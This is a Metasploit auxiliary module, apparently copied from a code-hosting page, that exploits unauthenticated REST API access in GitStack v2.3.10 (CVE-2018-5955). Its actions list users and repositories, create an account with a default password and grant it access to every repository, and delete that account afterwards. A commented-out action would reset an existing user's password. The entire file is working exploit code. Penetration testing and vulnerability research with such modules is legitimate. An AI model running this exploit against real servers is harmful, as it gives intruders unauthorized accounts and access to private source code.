273 lines
8.2 KiB
Ruby
273 lines
8.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'GitStack v2.3.10 REST API User Requests',
|
|
'Description' => %q{
|
|
This modules exploits unauthenticated REST API requests on GitStack v2.3.10.
|
|
The module supports requests for listing users of the application and listing
|
|
available repositories. Additionally, the module can create a user and add the
|
|
user to the application's repositories. Earlier versions of GitStack may be affected.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Kacper Szurek', # Vulnerability discovery and PoC
|
|
'Jacob Robles' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2018-5955'],
|
|
['EDB', '43777'],
|
|
['EDB', '44044']
|
|
],
|
|
'DisclosureDate' => 'Jan 15 2018',
|
|
'Actions' =>
|
|
[
|
|
[
|
|
'LIST',
|
|
{
|
|
'Description' => 'List application users',
|
|
'Method' => 'GET',
|
|
'UserPath' => '/rest/user/'
|
|
}
|
|
],
|
|
[
|
|
'CREATE',
|
|
{
|
|
'Description' => 'Create a user on the application',
|
|
'Method' => 'POST',
|
|
'List' => 'GET',
|
|
'UserPath' => '/rest/user/',
|
|
'RepoPath' => '/rest/repository/'
|
|
}
|
|
],
|
|
# If this is uncommented, you will be able to change an
|
|
# existing user's password.
|
|
# After modifying the user's password, the user will be
|
|
# added to all available repositories.
|
|
# The cleanup action removes the user from all repositories
|
|
# and then deletes the user... so this action may not be desirable.
|
|
#[
|
|
#'MODIFY',
|
|
#{
|
|
#'Description' => "Change the application user's password",
|
|
#'Method' => 'PUT',
|
|
#'UserPath' => '/rest/user/'
|
|
#}
|
|
#],
|
|
[
|
|
'LIST_REPOS',
|
|
{
|
|
'Description' => 'List available repositories',
|
|
'Method' => 'GET',
|
|
'RepoPath' => '/rest/repository/'
|
|
}
|
|
],
|
|
[
|
|
'CLEANUP',
|
|
{
|
|
'Description' => 'Remove user from repositories and delete user',
|
|
'List' => 'GET',
|
|
'Remove' => 'DELETE',
|
|
'RepoPath' => '/rest/repository/',
|
|
'UserPath' => '/rest/user/'
|
|
}
|
|
]
|
|
],
|
|
'DefaultAction' => 'LIST'))
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('RPORT', [true, 'The target port', 80]),
|
|
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),
|
|
OptString.new('PASSWORD', [false, 'Password for user', 'password'])
|
|
])
|
|
end
|
|
|
|
def get_list
|
|
path = action.name =~ /REPOS/ ? action.opts['RepoPath'] : action.opts['UserPath']
|
|
message = action.name =~ /REPOS/ ? "Repo List" : "User List"
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(path),
|
|
'method' => action.opts['Method']
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
if res && res.code == 200
|
|
print_status("#{message}:")
|
|
begin
|
|
mylist = JSON.parse(res.body)
|
|
rescue JSON::ParserError => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
mylist.each do |item|
|
|
if ["LIST"].include?(action.name)
|
|
print_good("#{item}")
|
|
else
|
|
print_good("#{item['name']}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def clean_app
|
|
path = action.opts['RepoPath']
|
|
# Get all of the repository names
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(path),
|
|
'method' => action.opts['List']
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
|
|
# Parse the repository names
|
|
if res && res.code == 200
|
|
begin
|
|
mylist = JSON.parse(res.body)
|
|
rescue JSON::ParserError => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
else
|
|
print_error("Failed: #{res.body}")
|
|
return
|
|
end
|
|
|
|
# Remove user from each repository
|
|
mylist.each do |item|
|
|
path = action.opts['RepoPath'] + item['name'] + '/user/' + datastore['USERNAME'] + '/'
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(path),
|
|
'method' => action.opts['Remove']
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
|
|
if res && res.code == 200
|
|
print_good("#{res.body}")
|
|
else
|
|
print_status("User #{datastore['USERNAME']} doesn't have access to #{item['name']}")
|
|
end
|
|
end
|
|
|
|
# Delete the user account
|
|
path = action.opts['UserPath'] + datastore['USERNAME'] + '/'
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(path),
|
|
'method' => action.opts['Remove']
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
|
|
# Check if the account was successfully deleted
|
|
if res && res.code == 200
|
|
print_good("#{res.body}")
|
|
else
|
|
print_error("#{res.body}")
|
|
end
|
|
end
|
|
|
|
def add_user
|
|
user = datastore['USERNAME']
|
|
pass = datastore['PASSWORD']
|
|
|
|
begin
|
|
data = 'username=' << user << '&password=' << pass
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(action.opts['UserPath']),
|
|
'method' => action.opts['Method'],
|
|
'encode' => true,
|
|
'data' => data
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
if res && res.code == 200
|
|
print_good("SUCCESS: #{user}:#{pass}")
|
|
else
|
|
print_error("#{res.body}")
|
|
return
|
|
end
|
|
|
|
# Make a request for the repositories
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(action.opts['RepoPath']),
|
|
'method' => action.opts['List']
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
|
|
if res && res.code == 200
|
|
begin
|
|
mylist = JSON.parse(res.body)
|
|
rescue JSON::ParserError => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return
|
|
end
|
|
# Loop over repositories and add the user to it
|
|
mylist.each do |item|
|
|
path = action.opts['RepoPath'] + item['name'] + '/user/' + user + '/'
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(path),
|
|
'method' => action.opts['Method']
|
|
})
|
|
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
|
|
Rex::HostUnreachable, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
next
|
|
end
|
|
if res && res.code == 200
|
|
print_good("#{res.body}")
|
|
else
|
|
print_error("Failed to add user")
|
|
print_error("#{res.body}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def run
|
|
if ["LIST","LIST_REPOS"].include?(action.name)
|
|
get_list
|
|
elsif ["CLEANUP"].include?(action.name)
|
|
clean_app
|
|
elsif datastore['USERNAME'] && datastore['PASSWORD']
|
|
add_user
|
|
else
|
|
print_error("USERNAME and PASSWORD required")
|
|
end
|
|
end
|
|
end
|